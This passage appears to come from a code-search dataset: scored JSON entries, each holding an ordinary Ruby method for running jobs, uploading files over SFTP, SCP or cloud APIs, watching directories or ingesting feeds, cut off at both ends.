File.open(\"#{@scratch}/jobFile.json\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded jsonfile file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n end\n \n end", "title": "" }, { "docid": "0ef5501f93a4cd395c1bb348e1031e4b", "score": "0.5186735", "text": "def run()\n\n\t\t# output welcome\n\t\tprintInfo()\n\n\t\t#\n\t\tself.initIOframeHandler()\n\t\t\n\t\t# open serial port (first one that works)\n\t\t#self.dealloc() if self.initSerial().nil?\n\t\t#self.initSerial()\n\n\t\t# start listening to Ethernet messages\n\t\tself.initEthernet()\n\n\t\t# start File watcher(s)\n\t\tself.dealloc() if self.initTriggers().nil?\n\t\tputs 'OK:trigger files initiated'\n\n\t\tif (@oSerial.nil? && @oEthernet.nil?)\n\t\t\tputs 'Have neither Serial nor Ethernet connection!'\n\t\t\tself.dealloc()\n\t\tend # if have no connection\n\n\t\tEM::add_periodic_timer(\n\t\t\t\tget(:iBroadcastDateInterval, SBbroadcastDateIntervalDefault)) { SssSEMapp.broadcastDate() }\n\n\t\tEM::add_periodic_timer(\n\t\t\t\tget(:iBroadcastTimeInterval, SBbroadcastTimeIntervalDefault)) {\n\t\t\t\t\tself.broadcastTime() }\n\n\t\tEM::add_periodic_timer(\n\t\t\t\tget(:iIdleInterval, SBidleIntervalDefault)) {\n\t\t\t\t\tself.idle() }\n\n\t\t# broadcast something to tickle responses and synchronize date & time\n\t\tEM::add_timer(0.5) { self.broadcastTime() }\n\t\tEM::add_timer(2) { self.broadcastDate() }\n\n\t\tputs 'OK:entering run-loop'\n\n\tend", "title": "" }, { "docid": "408c3c0432cc6da5e71d9d2657ede3d6", "score": "0.5181309", "text": "def run\n update_status\n\n Dir.chdir(@working_dir) do\n @files_to_run = @files.dup\n\n start_service\n @start_time = Time.now\n\n # Run worker on every host.\n threads = @hosts.map do |host|\n Thread.new do\n `ssh buffet@#{host} 'cd ~/#{Settings.root_dir_name}/working-directory; RAILS_ENV=test bundle exec ruby ~/#{Settings.root_dir_name}/buffet/bin/buffet-worker #{server_addr}'`\n\n if $?.exitstatus != 0\n puts \"Error on worker machine #{host}.\"\n end\n end\n end\n\n threads.each do |t|\n t.join\n end\n\n @end_time = Time.now\n stop_service\n end\n @status.set \"Done. Final results:\"\n results = \"\"\n @stats.each do |key, value|\n results += \"#{key}: #{value}\\n\"\n end\n\n results += \"\\n\"\n mins, secs = (@end_time - @start_time).divmod(60)\n results += \"Buffet was consumed in %d mins %d secs\\n\" % [mins, secs]\n\n @status.set results\n end", "title": "" }, { "docid": "c67b19baafd4d2fef68cf549a21672f2", "score": "0.51739115", "text": "def sftp_upload\n \n\t\t\t\tNet::SFTP.start(@your_ftp_domain, @your_ftp_login_name, :password => @your_ftp_password) do |sftp|\n\t\t\t\tsftp.upload!(@yourFileName, @your_ftp_social_directory + \"/\" + @yourFileName)\n\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\tend", "title": "" }, { "docid": "2fd13d8b8ef739f5f21502f06366131d", "score": "0.51558983", "text": "def start\n prepare_index\n\n self.indexer_thread = Thread.new do\n http_start do |http|\n loop do\n break unless working?\n es_bulk_insert!(http, current_batch)\n end\n end\n end\n end", "title": "" }, { "docid": "550c3fbd529cab65d7088f30d6475339", "score": "0.51494944", "text": "def main()\n create_new_folder()\n file_list = get_file_list()\n \n file_list.each_key { |file_name|\n contents = download_from_google_docs(file_list[file_name])\n upload_to_dropbox(file_name, contents)\n }\n end", "title": "" }, { "docid": "39115992443a3d5518cdd549c4c0b619", "score": "0.51470923", "text": "def upload files\n\tfiles.each{|file| Net::SCP.upload!(@host , @user, file, @remote_destination) }\nend", "title": "" }, { "docid": "153e8eecfaa84a4b3ec198c57ff1b1d4", "score": "0.5145666", "text": "def main\n # Setup loggers.\n Dir.mkdir LOGS_DIR unless File.directory? LOGS_DIR\n @loggers << Logger.new(STDOUT)\n @loggers << Logger.new(\"#{LOGS_DIR}/#{Date.today}.log\", 'daily')\n @loggers.each { |logger| logger.level = Logger::INFO }\n\n server=ARGV[0]\n admin_password = ARGV[1] || \"admin\"\n @s = Sling.new(server)\n admin = User.new(\"admin\", admin_password)\n @s.switch_user(admin)\n @s.do_login\n\n res = @s.execute_get(@s.url_for(\"var/search/needsprocessing.json\"))\n unless res.code == '200'\n raise \"Failed to retrieve list to process [#{res.code}]\"\n end\n\n process_results = JSON.parse(res.body)['results']\n log \"processing #{process_results.size} entries\"\n unless process_results.size > 0\n return\n end\n\n # Create some temporary directories.\n Dir.mkdir DOCS_DIR unless File.directory? DOCS_DIR\n Dir.mkdir PREV_DIR unless File.directory? PREV_DIR\n\n # Create a temporary file in the DOCS_DIR for all the pending files and outputs all the filenames in the terminal.\n Dir.chdir DOCS_DIR\n queued_files = process_results.collect do |result|\n FileUtils.touch result['_path']\n end\n\n log \" \"\n log \"Starts a new batch of queued files: #{queued_files.join(', ')}\"\n\n Dir['*'].each do |id|\n FileUtils.rm id\n log \"processing #{id}\"\n\n begin\n meta_file = @s.execute_get @s.url_for(\"p/#{id}.json\")\n unless meta_file.code == '200'\n raise \"Failed to process: #{id}\"\n end\n\n meta = JSON.parse meta_file.body\n mime_type = meta['_mimeType']\n given_extension = meta[\"sakai:fileextension\"]\n extension = determine_file_extension_with_mime_type(mime_type, given_extension)\n filename = id + extension\n log \"with filename: #{filename}\"\n\n if ignore_processing?(mime_type) || extension.eql?('')\n if extension.eql?('')\n log \"ignoring processing of #{filename}, no preview can be generated for files without a known mime type\"\n log \"The file's original extension was #{given_extension}, and it's mime type is #{mime_type}\"\n else\n log \"ignoring processing of #{filename}, no preview can be generated for #{mime_type} files\"\n end\n else\n # Making a local copy of the file.\n content_file = @s.execute_get @s.url_for(\"p/#{id}\")\n unless content_file.code == '200'\n raise \"Failed to process file: #{id}, status: #{content_file.code}\"\n end\n File.open(filename, 'wb') { |f| f.write content_file.body }\n\n if process_as_image? extension\n page_count = 1\n filename_thumb = 'thumb.jpg'\n\n content = resize_and_write_file filename, filename_thumb, 900\n post_file_to_server id, content, :normal, page_count\n\n content = resize_and_write_file filename, filename_thumb, 180, 225\n post_file_to_server id, content, :small, page_count\n\n FileUtils.rm DOCS_DIR + \"/#{filename_thumb}\"\n else\n # Generating image previews of the document.\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg\n\n # Skip documents with a page count of 0, just to be sure.\n next if Dir[id + '_*'].size == 0\n\n Dir.mkdir PREV_DIR + \"/#{id}\" unless File.directory? PREV_DIR + \"/#{id}\"\n\n # Moving these previews to another directory: \"PREVS_DIR/filename/index.jpg\".\n Dir[id + '_*'].each_with_index do |preview, index|\n FileUtils.mv \"#{id}_#{index + 1}.jpg\", \"#{PREV_DIR}/#{id}/#{index}.jpg\"\n end\n\n Dir.chdir PREV_DIR + \"/#{id}\"\n page_count = Dir[\"*\"].size\n\n # Upload each preview and create+upload a thumbnail.\n for index in (0..page_count - 1)\n filename_p = \"#{index}.jpg\"\n # Upload the generated preview of this page.\n nbytes, content = File.size(filename_p), nil\n File.open(filename_p, \"rb\") { |f| content = f.read nbytes }\n post_file_to_server id, content, :large, index + 1\n\n # Generate 2 thumbnails and upload them to the server.\n filename_thumb = File.basename(filename_p, '.*') + '.normal.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 700\n post_file_to_server id, content, :normal, index + 1\n\n filename_thumb = File.basename(filename_p, '.*') + '.small.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 180, 225\n post_file_to_server id, content, :small, index + 1\n end\n\n FileUtils.remove_dir PREV_DIR + \"/#{id}\"\n end\n\n # Pass on the page_count\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:pagecount\" => page_count, \"sakai:hasPreview\" => \"true\"}\n\n # Change to the documents directory otherwise we won't find the next file.\n Dir.chdir DOCS_DIR\n end\n rescue Exception => msg\n # Output a timestamp + the error message whenever an exception is raised\n # and flag this file as failed for processing.\n log \"error generating preview/thumbnail (ID: #{id}): #{msg}\", :warn\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n ensure\n # No matter what we flag the file as processed and delete the temp copied file.\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:needsprocessing\" => \"false\"}\n FileUtils.rm_f DOCS_DIR + \"/#{filename}\"\n end\n end\n\n FileUtils.remove_dir PREV_DIR\n FileUtils.remove_dir DOCS_DIR\nend", "title": "" }, { "docid": "e737e595f839ab5c911dd2661a6ec8e2", "score": "0.5142792", "text": "def pre_process_samples_file_upload\n @project = parent\n @data_templates = parent.managed_repository{Voeis::DataStream.all(:type => \"Sample\")}\n @general_categories = Voeis::GeneralCategoryCV.all\n @sites = parent.managed_repository{Voeis::Site.all}\n end", "title": "" }, { "docid": "f8c8ce85b7fc507a752ce41afbe3cada", "score": "0.5139117", "text": "def startWatch()\n \tself.fsRoots.each do |root|\n\t \t\taddWatch(root)\n\t \tend\n\t\trunWatch()\n\tend", "title": "" }, { "docid": "9aa68447232c7d1884e45fae3fe13364", "score": "0.51350754", "text": "def start\n unset_hadoop_env_vars\n # Generate the script for running the command, then\n # write it to a temp script which will be exectued\n script_text = script_for_watcher()\n\n script = Tempfile.new(\"mortar-\")\n script.write(script_text)\n script.close(false)\n FileUtils.chmod(0755, script.path)\n\n @pid = fork do\n exec(\"#{script.path} > #{local_log_dir}/#{PIGJIG_LOG_FILE}\")\n end \n\n # Create connection to pig server\n begin\n @server ||= XMLRPC::Client.new('localhost', '/RPC2', 1967 )\n @server.timeout = PIGJIG_TIMEOUT\n rescue => e\n raise HandledError, <<-ERROR\nSeems as though an instance of watchtower is already running\nERROR\n end\n\n wait_for_server_to_start\n\n return (0 == $?.to_i)\n end", "title": "" }, { "docid": "ad3a0aa31947207338e65bbf001827a4", "score": "0.5134918", "text": "def receive_uploads\n trace :info, \"UPLOAD\"\n resp = send_command(PROTO_UPLOAD)\n\n # decode the response\n command, tot, left, size = resp.unpack('I4')\n \n if command == PROTO_OK then\n filename = resp[12, resp.length].unpascalize\n bytes = resp[16 + size, resp.length].unpack('I')\n trace :info, \"UPLOAD -- [#{filename}] #{bytes} bytes\"\n \n # recurse the request if there are other files to request\n receive_uploads if left != 0\n else\n trace :info, \"UPLOAD -- No uploads for me\"\n end\n end", "title": "" }, { "docid": "10e65ef754b33cb7c1d7c61486ef5597", "score": "0.51297283", "text": "def start_streaming_tweets\n \n end", "title": "" }, { "docid": "7876d15c0969cafcafef5eb1f6edeaec", "score": "0.5127888", "text": "def create\n upload_meta = prepare_to_upload\n response = upload_to_aws_s3(upload_meta)\n notify_ribose_file_upload_endpoint(response, upload_meta.fields.key)\n end", "title": "" }, { "docid": "3851877e71cff73e408f812bc533109a", "score": "0.51237476", "text": "def upload\n unless @no_upload\n UploadsWorker.async_upload_content_to_cloud({:id => self.id, :class => self.class.to_s})\n end\n end", "title": "" }, { "docid": "8be4d4cabf120483a4b177f6dde1fab1", "score": "0.5116767", "text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n parent_id = find_id_from_path(remote_path)\n gdrive_upload(src, parent_id)\n end\n end", "title": "" }, { "docid": "265dcde54c83d978ccc71b287cfdcea4", "score": "0.5114975", "text": "def upload\n logger.info{\"AT THE BEGINNING OF UPLOAD\"}\n first_row = Array.new\n flash_error = Hash.new\n name = Time.now.to_s + params[:datafile].original_filename \n directory = \"data/\" + @project.id + \"/\" + Date.today.to_s\n unless Dir.exists?(directory)\n unless Dir.exist?(\"data/\" + @project.id)\n Dir.mkdir(\"data/\" + @project.id)\n end\n Dir.mkdir(directory)\n end\n @new_file = File.join(directory,name)\n File.open(@new_file, \"wb\"){ |f| f.write(params['datafile'].read)}\n begin \n #data_stream_template = Voeis::DataStream.get(params[:data_template_id])\n start_line = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).start_line}\n data_col_count = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).data_stream_columns.count}\n site_id = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).sites.first.id}\n logger.info {\"FETCHED ******* Data Template start line:\" + start_line.to_s}\n csv = CSV.open(@new_file, \"r\")\n (0..start_line).each do\n first_row = csv.readline\n end\n csv.close()\n if first_row.count == data_col_count\n flash_error = flash_error.merge(parent.managed_repository{Voeis::SensorValue.parse_logger_csv(@new_file, params[:data_template_id], site_id)})\n else\n #the file does not match the data_templates number of columns\n flash_error[:error] = \"File does not match the data_templates number of columns.\"\n logger.info {\"File does not match the data_templates number of columns.\"}\n end\n rescue Exception => e\n logger.info {e.to_s}\n #problem parsing file\n flash_error[:error] = \"There was a problem parsing this file.\"\n logger.info {\"There was a problem parsing this file.\"}\n end\n #parent.publish_his\n respond_to do |format|\n if params.has_key?(:api_key)\n format.json\n end\n if flash_error[:error].nil?\n flash[:notice] = \"File was parsed succesfully.\"\n else\n flash[:warning] = flash_error[:error]\n end\n format.html { redirect_to(project_path(parent)) }\n end\n end", "title": "" }, { "docid": "188a6e99943b91a3f4e86d327bb9ce49", "score": "0.5102425", "text": "def transmit_file\n Net::SFTP.start(ENV['PROQUEST_SFTP_HOST'], ENV['PROQUEST_SFTP_USER'], password: ENV['PROQUEST_SFTP_PASSWORD']) do |sftp|\n Rails.logger.debug \"Uploading #{@upload_file} to ProQuest\"\n sftp.upload!(@upload_file, \"#{@work.upload_file_id}.zip\")\n end\n end", "title": "" }, { "docid": "e4beabee811e76bd364f03d7979ce65d", "score": "0.5085931", "text": "def handle_async_upload_start( request )\n\t\tself.log.info \"Starting asynchronous upload: %s\" %\n\t\t\t[ request.headers.x_mongrel2_upload_start ]\n\t\treturn nil\n\tend", "title": "" }, { "docid": "de36c56b1ab06c05112829bf5c53cfee", "score": "0.50811183", "text": "def start\n GoodJob::SdNotify.ready\n run_watchdog\n end", "title": "" }, { "docid": "fd38c3f91a7dcb36061235daa8f96ee4", "score": "0.5079596", "text": "def pre_publish(destination_filename, data)\n end", "title": "" }, { "docid": "494ab4588d21fbc5b734d150afa4fd57", "score": "0.5078058", "text": "def listen!\n Listen.to(@path, :relative_paths => true) do | modified, added, removed |\n\n # Add each reported file to the queue\n modified.each do | path |\n @queue << { :event => :modified, :path => path }\n end\n\n added.each do | path |\n @queue << { :event => :added, :path => path }\n end\n\n removed.each do | path |\n @queue << { :event => :removed, :path => path }\n end\n\n end\n end", "title": "" }, { "docid": "a13bb6a2bc8fea5f2397f24ca6df83b8", "score": "0.5073166", "text": "def perform(apo_id, uploaded_filename, output_directory, user_login, filetype = 'xlsx', xml_only = false, note = '')\n original_filename = generate_original_filename(uploaded_filename)\n log_filename = generate_log_filename(output_directory)\n\n File.open(log_filename, 'a') { |log|\n start_log(log, user_login, original_filename, note)\n response_xml = generate_xml(filetype, uploaded_filename, original_filename, log)\n\n if response_xml.nil?\n log.puts('argo.bulk_metadata.bulk_log_error_exception Got no response from server')\n log.puts(\"argo.bulk_metadata.bulk_log_job_complete #{Time.now.strftime(TIME_FORMAT)}\")\n return nil\n end\n\n metadata_path = File.join(output_directory, generate_xml_filename(original_filename))\n save_metadata_xml(response_xml, metadata_path, log)\n\n if xml_only\n log.puts('argo.bulk_metadata.bulk_log_xml_only true')\n elsif filetype != 'xml' # If the submitted file is XML, we never want to load anything into DOR\n log.puts('argo.bulk_metadata.bulk_log_xml_only false')\n update_metadata(apo_id, response_xml, original_filename, user_login, log) # Load into DOR\n end\n\n log.puts(\"argo.bulk_metadata.bulk_log_job_complete #{Time.now.strftime(TIME_FORMAT)}\")\n }\n # Remove the (temporary) uploaded file only if everything worked. Removing upon catching an exception causes\n # subsequent job attempts to fail.\n FileUtils.rm(uploaded_filename, force: true)\n end", "title": "" }, { "docid": "78a583ddc65a27ccbbf5b0210deb2846", "score": "0.5067303", "text": "def run_berks_upload\n run_berks_install\n if config[:force_build]\n run_command(\"berks upload --force\")\n else\n run_command(\"berks upload\")\n end\n end", "title": "" }, { "docid": "5ae523f5d1e4656cdd519768a8ed45bb", "score": "0.5067133", "text": "def on_init\n Wx::Timer.every(55) { Thread.pass }\n if @files.size > 0\n message = \"watching files:\\n\"\n @files.each {|x|\n message << x\n message << \"\\n\"\n }\n t = Thread.new(@files) do |flist|\n FileWatcher.new(flist).watch do |filename|\n myReader = CompHTML::Reader.new(:log=>@log, :inFile=>filename)\n @myEngine.generateHtml(:outFile=>myReader.outputName,\n :title=>myReader.fileTitle,\n :markdownTXT=>myReader.fileBody)\n end\n end\n Wx::message_box(message)\n Thread::kill(t)\n end\n return false\n end", "title": "" }, { "docid": "231039e5b2824bb407de9175018b4617", "score": "0.5064988", "text": "def start\n start_evss_submission_job\n end", "title": "" }, { "docid": "bf9601582d5f9f359fcf7db56977d2ef", "score": "0.5063461", "text": "def upload_test\n iterations = @test.iterations\n for i in 1..iterations\n upload_one\n end\n end", "title": "" }, { "docid": "a56139f1e574c144575bd843e0a6a3ce", "score": "0.5050762", "text": "def run\n user = User.find_by_user_key(user_key)\n raise \"Unable to find user for #{user_key}\" unless user\n generic_file = GenericFile.find(generic_file_id)\n path = File.join(directory, filename)\n\n actor = Sufia::GenericFile::Actor.new(generic_file, user)\n\n if actor.create_content(File.open(path), filename, 'content', mime_type(filename))\n FileUtils.rm(path)\n Sufia.queue.push(ContentDepositEventJob.new(generic_file.id, user_key))\n\n message = \"The file (#{File.basename(filename)}) was successfully deposited.\"\n subject = 'Local file ingest'\n else\n message = \"There was a problem depositing #{File.basename(filename)}. Please contact a system admin.\"\n subject = 'Local file ingest error'\n end\n\n job_user.send_message(user, message, subject)\n end", "title": "" }, { "docid": "d8a2cf60defce39bfc50b9282a989406", "score": "0.50476664", "text": "def trigger_uploads\n if (media_type == \"photo\")\n logger.debug \"trigger uploads\"\n threads = []\n\n threads << Thread.new {\n fb_timer = Time.now\n upload_to_facebook\n logger.debug '** FB ** ' + ((Time.now - fb_timer) ).to_s + ' sec'\n }\n threads << Thread.new {\n tw_timer = Time.now\n upload_to_twitter\n logger.debug '** TW ** ' + ((Time.now - tw_timer) ).to_s + ' sec'\n }\n threads.each do |t|\n t.join\n end\n save_timer = Time.now\n self.save\n logger.debug 'save ' + ((Time.now - save_timer) ).to_s + ' sec'\n end\n end", "title": "" }, { "docid": "fd227d9ee7e92f65cf5563f3857d8966", "score": "0.5044926", "text": "def transfer!\n connection do |ssh|\n create_remote_directories(ssh)\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring \" +\n \"'#{local_file}' to '#{ip}'.\"\n\n ssh.scp.upload!(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end\n end", "title": "" }, { "docid": "34a1a0f8bc59e972468fa280e5eb2eea", "score": "0.5040872", "text": "def run_upload(server_result, server_machine_id, f)\n count = Replica.down(server_result, server_machine_id, :count => true)\n f.puts \"#{log_timestamp} --- ESTIMATED TOTAL RECORDS TO UPLOAD: #{count.total}\"\n f.flush\n total, total_errors = 0, 0\n while total_errors < SyncsHelper::ClientActions::MAX_ERRORS\n begin\n result_down = do_send_client_data(address, server_result, server_machine_id)\n server_result = result_down.last_synced_id if result_down.respond_to?(:last_synced_id)\n if result_down.total > 0\n total += result_down.total\n f.puts \"#{log_timestamp} -- UPLOADED AND PROCESSED: #{total} RECORDS\"\n f.flush\n else\n break\n end\n rescue Exception => e\n total_errors += 1 # avoid infinite loop\n f.puts \"#{log_timestamp} --- ERROR: CANNOT UPLOAD AT #{address}. ERROR: #{e.inspect}\"\n f.flush\n end\n end\n total\n end", "title": "" }, { "docid": "612af51796173c2acf0e01a9926d0b56", "score": "0.5034457", "text": "def pre_process_sample_file_upload\n @project = parent\n @templates = parent.managed_repository{Voeis::DataStream.all(:type => \"Sample\")}\n end", "title": "" }, { "docid": "30f91490df1d76f468cf3bc5fab8a2b3", "score": "0.5033054", "text": "def batch_upload(dir, yaml_file)\n\t\tbegin\n\t\t\tdir_files = Dir.entries(dir)\n\t\t\tdir_files.each do |file|\n\t\t\t\tif is_supported_format(file) and !@uploads.include?(file)\n\t\t\t\t\tunless @aborting\n\t\t\t\t\t\tupload_file(\"#{dir}/#{file}\")\n\t\t\t\t\t\t@uploads << file\n\t\t\t\t\telse\n\t\t\t\t\t\t@working = false\n\t\t\t\t\t\t@aborting = false\n\t\t\t\t\t\tdump_to_yaml(@uploads, yaml_file)\n\t\t\t\t\t\tThread.kill\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\t\t\n\t\t\tdump_to_yaml(@uploads, yaml_file)\n\t\t \n\t\trescue RuntimeError => e\n\t\t\tprint \"Batch upload failed. Error: #{e.message}\\n\"\n\t\t\tprint \"Dumping to YAML file and exiting...\"\n\t\t\tdump_to_yaml(@uploads, yaml_file)\n\t\t\tThread.main.exit\n\t\tend\n\tend", "title": "" }, { "docid": "706217b2d3aed568b2538d9a9dc1ba51", "score": "0.5033023", "text": "def worker\n @inotify\n end", "title": "" }, { "docid": "03cc9cd86e3168bde7518463c68f040a", "score": "0.5031858", "text": "def ingest\n require 'digest/md5'\n require 'rfeedparser'\n \n # keep track of any errors encountered during ingestion\n errors = \"\"\n uningested = 0\n duplicates = []\n duplicate_count = 0\n starttime = Time.now\n\n CacmExtension::INGESTION_LOGGER.info(\"#{Time.now} BEGIN: #{self.name} [#{self.class.name}] ingest\")\n\n CacmExtension::INGESTION_LOGGER.info(\"#{Time.now} BEGIN: parsing #{self.feedurl}\")\n feed = FeedParser.parse(self.feedurl)\n CacmExtension::INGESTION_LOGGER.info(\"#{Time.now} END: parsing #{self.feedurl}\")\n\n self.last_ingest = Time.now\n\n feed.entries.each do |f|\n # get or generate the article's UUID\n uuid = get_or_generate_uuid(f)\n \n if RssArticle.count(:all, :conditions => [\"uuid = ?\", uuid]) > 0\n duplicates << uuid if %w(Books Events Courses).include?(self.feed_type.name)\n duplicate_count += 1\n else\n # basic attrs\n article = RssArticle.new(:feed => self, :uuid => uuid, :title => f.title, :short_description => f.description, \n :link => f.feedburner_origlink || f.link, :date => f.updated_time || Time.now)\n # computed attrs\n article.author = case\n when f.author_detail && f.author_detail.name : f.author_detail.name\n when feed.feed.author_detail && feed.feed.author_detail.name : feed.feed.author_detail.name\n when f.author : f.author\n when feed.feed.author : feed.feed.author\n else \"\"\n end\n \n article.full_text = f.content ? f.content.map(&:value).join : f.description\n \n # if the first tag in full_text is not a block tag, run simple_format on it\n # so it has some semblance of a structure\n unless HtmlMaid.first_tag_is_a_block_tag(article.full_text)\n article.full_text = HtmlMaid.simple_format(article.full_text)\n end\n \n # ...same with the short_description\n unless HtmlMaid.first_tag_is_a_block_tag(article.short_description)\n article.short_description = HtmlMaid.simple_format(article.short_description)\n end\n \n # clean the short description (#300)\n article.short_description = HtmlMaid.clean_short_description(article.short_description)\n\n # if we're dealing with a feedburner feed, clean out its nasty bits\n if article.full_text.index(\"feedburner\")\n article.full_text = HtmlMaid.housekeeping(article.full_text)\n end\n \n # Jobs need manual help\n if feed_type.name == 'Jobs'\n article.short_description = f.jobs_location.nil? ? article.short_description : f.jobs_location\n article.author = f.jobs_company.nil? ? article.author : f.jobs_company \n end\n \n # don't save events if they're in the past. assumes events feed is\n # repurposing the updated_time field, as is http://rss.acm.org/conferences/conferences.xml\n if feed_type.name == 'Events'\n next if article.date < Time.now.at_midnight\n end\n \n # Set Default Metadata\n article.news_opinion = news_opinion\n article.digital_library = digital_library\n article.acm_resource = acm_resource\n article.user_comments = user_comments\n article.sections = sections\n article.subjects = subjects\n \n if article.save\n # auto-approve blog posts\n article.approve! if feed_type.name == 'Blog'\n else\n uningested += 1\n errors << \"#{Time.now} ERROR: Unable to save article \\\"#{f.title}\\\": \"\n article.errors.each_full{|msg| errors << msg + \",\"}\n errors.slice!(errors.length-1, 1) # remove trailing ,\n CacmExtension::INGESTION_LOGGER.info(errors)\n errors = \"\"\n end\n end\n end\n\n errors = \"#{Time.now} END: #{self.name} [#{self.class.name}] ingest. #{feed.entries.size - duplicate_count - uningested} / #{feed.entries.size} articles ingested; #{duplicate_count} skipped; #{uningested} errors. (#{(Time.now - starttime).round} sec)\\n\"\n CacmExtension::INGESTION_LOGGER.info(errors)\n updated = Time.now\n self.update_attribute(:last_ingest, updated)\n Article.update_all([\"updated_at = ?\", updated], [\"uuid IN (?)\", duplicates])\n end", "title": "" }, { "docid": "c562f6505c6a6ccf61e0d2d851653dd1", "score": "0.50301415", "text": "def start\n return unless @loop.nil?\n \n config_file = @config.config_file\n helper_file = @config.helper_file\n \n @loop = Coolio::Loop.default\n \n @config_watcher = FileWatcher.new(config_file, @interval)\n @helper_watcher = FileWatcher.new(helper_file, @interval)\n \n @config_watcher.on :change do\n fire(:config_change, config_file)\n reattach_source_watchers\n end\n \n @helper_watcher.on :change do\n fire(:helper_change, helper_file)\n reattach_source_watchers\n end\n \n @config_watcher.attach(@loop)\n @helper_watcher.attach(@loop)\n \n attach_source_watchers\n \n @loop.run\n end", "title": "" }, { "docid": "88c4d4242f40aa5c76c8c145e6541441", "score": "0.50293505", "text": "def start \n\tsetup_files # load, read, parse, and create the files\n create_report # create the report!\t\nend", "title": "" }, { "docid": "6c57f216f83d0562f54ae910779e58ea", "score": "0.50251436", "text": "def upload_latest_copy\n upload_to_gcs(report_files, prefix)\n end", "title": "" }, { "docid": "2e294e52ed7c8f12e841278460489fb1", "score": "0.50207716", "text": "def process_once!\n raise PublisherTools::Error::ArgumentError.new(\"no groups assigned\") unless groups\n raise PublisherTools::Error::ArgumentError.new(\"missing watch directory\") unless directory\n log_message(\"PublisherTools processing files one time for: #{directory}\")\n\n initial_additions = Dir[File.join(directory, '**', '**')].delete_if {|x| File.directory? x}\n handle_additions([], initial_additions, [])\n end", "title": "" }, { "docid": "cb5dbf9d18f049b783e2bcb67bba2816", "score": "0.5020669", "text": "def start_upload\n # To-do: decide whether to display raw content of CSV file when we can't parse it.\n# if flash[:display_csv_file]\n# read_raw_contents\n# end\n end", "title": "" }, { "docid": "93f88875436437c36def23eed98dfd6c", "score": "0.5011897", "text": "def start_stream\n @config.logger.debug('Starting push mode ...')\n sync_all_thread\n @synchronizer.start_periodic_data_recording\n\n start_sse_connection_thread\n end", "title": "" }, { "docid": "3fe2fb3eb56200383d89f6ffb14f2e94", "score": "0.5004282", "text": "def ftp_sync\n Gedifile.ingest_ftp_files(APP_CONFIG['ftp_ipaddress'], APP_CONFIG['ftp_port'], APP_CONFIG['ftp_username'], APP_CONFIG['ftp_password'])\n @gedifilenames = Gedifilename.all\n \n redirect_to '/gedifiles/pending/list'\n end", "title": "" }, { "docid": "3bc1669f97d2775fd47a3fbf3ec3b5b6", "score": "0.50024164", "text": "def post_file_streaming(api_method, upload_file, content_type, parameters)\n File.open(upload_file) { |file| post_io_streaming(api_method, file, content_type, parameters) }\n end", "title": "" }, { "docid": "366ae08ad927c0c995d6a0d6ff99b21f", "score": "0.50005925", "text": "def upload!(*)\n upload_uri_base = \"http://rise.sh:8080/api/v1/#{@uuid}\"\n access_uri = \"https://rise.sh/#{@uuid}\"\n uri = ''\n\n # This sorts the files by (file path) length.\n # It is supposed to make the server make the first layer of files\n # before the rest of the layers.\n ordered_files = files.sort_by(&:length)\n ordered_files.each do |f|\n isdir = File.directory?(f)\n final_path = File.absolute_path(f).gsub(\n File.expand_path(folder_path), '')\n uri = URI.parse(\"#{upload_uri_base}/#{final_path}?dir=#{isdir}\")\n begin\n HTTP.put(uri.to_s, body: File.read(f))\n rescue Errno::EISDIR\n HTTP.put(uri.to_s, body: '')\n next\n end\n end\n access_uri\n end", "title": "" }, { "docid": "284f0aee1eb8c0e125cb1e653583e3d8", "score": "0.49953827", "text": "def upload(tmp_output_dir)\n thread_pool = Concurrent::FixedThreadPool.new(8, auto_terminate: false)\n futures = []\n\n Dir.glob(\"#{tmp_output_dir}/**/*\", base: \"#{tmp_output_dir}/\").each_with_index do |path, i|\n next if File.directory?(path)\n\n futures << Concurrent::Promises.future_on(thread_pool) do\n upload_path = path.delete_prefix(\"#{tmp_output_dir}/\")\n\n File.open(path) do |file|\n destination_storage.upload(file, upload_path)\n end\n end\n end\n\n # wait for all of them to complete. and raise if one of them raised\n Concurrent::Promises.zip(*futures).value!\n ensure\n thread_pool.kill if thread_pool\n end", "title": "" }, { "docid": "daa213f9cabcb064aa0bc565f44db058", "score": "0.4993893", "text": "def create_upload_jobs(apikey, filename, filepath, filesize, start_response, options)\n jobs = []\n part = 1\n seek_point = 0\n while seek_point < filesize\n jobs.push(\n seek: seek_point,\n filepath: filepath,\n filename: filename,\n apikey: apikey,\n part: part,\n uri: start_response['uri'],\n region: start_response['region'],\n upload_id: start_response['upload_id'],\n location_url: start_response['location_url'],\n store_location: options.nil? ? 's3' : options[:store_location]\n )\n part += 1\n seek_point += FilestackConfig::DEFAULT_CHUNK_SIZE\n end\n jobs\n end", "title": "" }, { "docid": "2c8a06ee260c0a4771cc988a6f666a86", "score": "0.49928156", "text": "def batch\n #check optional parameters\n if params[:destinations_path]\n destinations_path = params[:destinations_path]\n if !File.exists?(destinations_path) || File.directory?(destinations_path)\n render :text => \"File #{destinations_path} does not exist.\"\n return\n end\n else \n #default path\n destinations_path = 'public/input/destinations.xml'\n end\n if params[:taxonomy_path]\n taxonomy_path = params[:taxonomy_path]\n if !File.exists?(taxonomy_path) || File.directory?(taxonomy_path)\n render :text => \"File '#{taxonomy_path}' does not exist.\"\n return\n end\n else\n #default path\n taxonomy_path = 